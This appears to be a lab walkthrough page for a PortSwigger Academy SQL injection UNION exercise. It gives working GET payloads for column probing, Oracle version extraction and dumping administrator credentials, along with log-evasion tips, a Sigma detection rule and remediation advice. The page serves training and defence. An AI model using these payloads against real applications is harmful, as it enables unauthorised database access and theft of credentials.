Walkthroughs Hub/

PortSwigger Web Security Academy

ADVANCED LABS11 PLAYBOOKS
HTTP/2 REQUEST DESYNC
OAUTH 2.0 & OPENID

PortSwigger AcademyT1190 - Exploit Public-Facing ApplicationPortSwigger: SQL Injection UNION Attack & Database Version Enumeration

IntermediateServer-Side & Injection/OS: Cross-Platform/+65 PTS/Duration: 45 mins

1. Mission Brief & Target Topology

EXECUTIVE ADVERSARIAL SUMMARY

Exploitation of SQL injection vulnerability in product category filter. Determining column count via ORDER BY / NULL probes, extracting database version banners on Oracle & PostgreSQL, and retrieving administrative credential hashes via UNION queries.

OFFICIAL ARSENAL EXPLOIT SCRIPT
Bhanu Guragain (@Bh4nu) · Public GitHub Repository
View Arsenal Repo
TARGET ENVIRONMENT SPECIFICATION
TARGET HOST / SCOPEhttps://sqli-lab.portswigger.net
SYSTEM ARCHITECTUREOracle 19c / PostgreSQL 14 + Java Spring Boot REST API
INITIAL ACCESS VECTORUnsanitized category query parameter: /filter?category=Gifts' UNION SELECT...
PRIVILEGE ESCALATIONExtracting administrator password hash from users table and authenticating as admin
Exposed Network Services:
443/tcp (HTTPS E-Commerce Application)
EXERCISED OPERATOR SKILLS:
SQL InjectionUNION ExploitationOracle Dual Table SyntaxDatabase Fingerprinting

2. Operational Kill Chain Phases (3 Phases)

STEP 01Probing Column Length via NULL Projection

Objective:Determine exact number of columns returned by original query without triggering syntax errors.
COMMAND
GET /filter?category=Gifts'+UNION+SELECT+NULL,NULL,NULL+FROM+dual-- HTTP/1.1
Captured Telemetry Evidence:
EVIDENCE STEP 01
[+] HTTP 200 OK received with 3 NULL projections. Table schema contains exactly 3 columns.
OPSEC & EVASION INSIGHT:Use comment markers appropriate to database dialect (-- for Oracle/Postgres, # for MySQL).

STEP 02Extracting Database Version String

Objective:Query system catalog tables to determine exact underlying database engine and OS version.
COMMAND
GET /filter?category=Gifts'+UNION+SELECT+banner,NULL,NULL+FROM+v$version-- HTTP/1.1
Captured Telemetry Evidence:
EVIDENCE STEP 02
[+] Response Body: "Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production"
OPSEC & EVASION INSIGHT:Wrap strings in CAST or NULL-safe types to prevent type mismatch exceptions.

STEP 03Extracting Administrator Password Hash

Objective:Retrieve username and password columns from backend users table.
COMMAND
GET /filter?category=Gifts'+UNION+SELECT+username,password,NULL+FROM+users-- HTTP/1.1
Captured Telemetry Evidence:
EVIDENCE STEP 03
[✓] Exfiltrated Credentials: administrator:9f8e6c4b2a1e8d7c9a4b (Hash retrieved & cracked)
OPSEC & EVASION INSIGHT:Exfiltrate data in single HTTP transaction to avoid database audit log threshold spikes.

3. Telemetry, Forensics & Shell Evidence

NETWORK & HOST TELEMETRY FOOTPRINT
SQL syntax keywords (UNION, SELECT, v$version) in web server request query logs

4. Blue Team Detection & Defense Playbook

PRODUCTION SIGMA DETECTION RULE
title: SQL Injection UNION Probe
status: production
logsource:
  category: webserver
  product: apache
detection:
  selection:
    URI|contains:
      - "UNION+SELECT"
      - "UNION%20SELECT"
  condition: selection
DEFENSIVE REMEDIATION & HARDENING
  • Utilize parameterized prepared statements (PreparedStatement in Java / PDO in PHP) for all database queries.
  • Implement an Object-Relational Mapper (ORM) with strict input validation and type coercion.
Lead Operator: Bhanu Guragain (@Bh4nu)
Related Academy TrackLaunch Range